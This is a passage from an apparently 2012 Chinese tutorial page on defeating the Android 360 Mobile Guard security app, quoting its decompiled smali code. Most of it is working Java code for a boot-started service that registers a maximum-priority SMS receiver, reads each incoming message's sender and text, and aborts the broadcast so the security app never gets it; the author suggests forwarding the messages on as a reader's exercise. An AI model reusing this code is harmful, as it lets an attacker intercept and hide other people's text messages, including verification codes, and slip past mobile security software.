免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 击溃360手机卫士的三大防护Android版(4)

击溃360手机卫士的三大防护Android版(4)

时间:2012-04-19 19:38来源:未知 整理:寂涯网络 点击:


nt/ComponentName;
#这里启动了 PROTECTION_LOCK,不管了
:cond_0
sget-boolean v0, Lom;->d:Z
if-nez v0, :cond_1
sput-boolean v2, Lom;->d:Z
new-instance v0, Laam;
const-string v1, "SimCheckService"
invoke-virtual  {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
move-result-object v2
invoke-direct  {v0,  v1,  v2}, Laam;-><init>(Ljava/lang/String;Landroid/content/Context;)V
sput-object v0, Lom;->e:Laam;
sget-object v0, Lom;->e:Laam;
invoke-virtual {v0}, Laam;->start()V  #这里启动了 SimCheckService,不管

:cond_1 return-void
.end method
可以看到,在开机广播中,360 手机卫士没有直接动态的注册短信广播接收者,我们可
以在启动自己程序时动态安装个权限最高的短信广播,这样就会优先于 360 收到短信了。 下面开始写测试程序,看看我开机广播的代码:
public class BootCompletedReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent)
{
Log.i("Test360", "系统启动完毕...");
Test360Activity.StartActivity(context);
Intent service = new Intent(context, Test360Service.class);
context.startService(service); //在开机后启动一个服务
}
}
我如法炮制,在接收到开机广播的时候启动了一个服务,服务的 OnCreate()代码如下:
@Override
public void onCreate() { Log.i(TAG, "onCreate");
IntentFilter localIntentFilter = new
IntentFilter("android.provider.Telephony.SMS_RECEIVED"); localIntentFilter.setPriority(2147483647); MmsReceiver receiver = new MmsReceiver();
registerReceiver(receiver, localIntentFilter);  //动态创建一个优先级最
高的短信广播接收者
IntentFilter localIntentFilter2 = new
IntentFilter("android.provider.Telephony.SMS_RECEIVED"); localIntentFilter2.setPriority(2147483647); ShutdownReceiver receiver2 = new ShutdownReceiver();
registerReceiver(receiver2, localIntentFilter2);  //动态创建一个关机广
播接收者
super.onCreate();
}
我动态创建了一个优先级为 2147483647 的短信广播接收者,收到短信后我只是简单的
启动了程序的主 Activity 并 Toast 显示出短信(当然,你也可以自己处理它,如发送出去, 或直接屏蔽掉,具体代码留给读者自己来实现),代码如下:
public class MmsReceiver extends BroadcastReceiver{
String receiveMsg
@Override
= "";
public void onReceive(Context context, Intent intent)
{

// TODO Auto-generated method stub
SmsMessage[] Msg = null;


if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){ Test360Activity.StartActivity(context);
Log.i("Test360", "收到短信广播...");
Bundle bundle = intent.getExtras();
if(bundle != null){
Object[] pdusObj = (Object[])bundle.get("pdus"); Msg = new SmsMessage[pdusObj.length];
for(int i = 0; i < pdusObj.length; i++){
Msg[i] = SmsMessage.createFromPdu((byte[])pdusObj[i]);

}
for(int i = 0; i < Msg.length; i++){
String MsgTxt = Msg[i].getOriginatingAddress()
+ " : " + Msg[i].getMessageBody();  //短信发件人与文

 
//Toast显示短信
}
 
Toast.makeText(context, MsgTxt, Toast.LENGTH_LONG).show();

abortBroadcast();  //中断广播
}
}
}
}
代码写好了,我重启手机,发送两条查询指令给 10010,看看测试效果如图 1:


360手机卫士Android版图片1
测试程序优先收到了短信,而 360,哑了......
开机启动
在 Android 手机拥有 ROOT 权限的时候,360 开启了一个开机加速的功能,如图 2 所示:
360手机卫士Android版

点击上面任意一项或一键加速就可以取消该程序的开机自启动,这个功能立刻引起了我
的 好 奇 。 学 习 过  Android    开 发 的 可 能 都 会 知 道 , 通 过 添 加 对 “android.intent.action.BOOT_COMPLETED”处理的广播就可以实现开机启动时执行自己的 一段代码,可是如何禁用开机启动大多数人都不知道,于是就有了想弄明白它的念头。
首先用 ApkTool_GUI 反编译 360 的 APK 主程序,会提示反编译错误,不用理会,可能是

本页地址 http://www.jybase.net/xitonganquan/20120419830.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com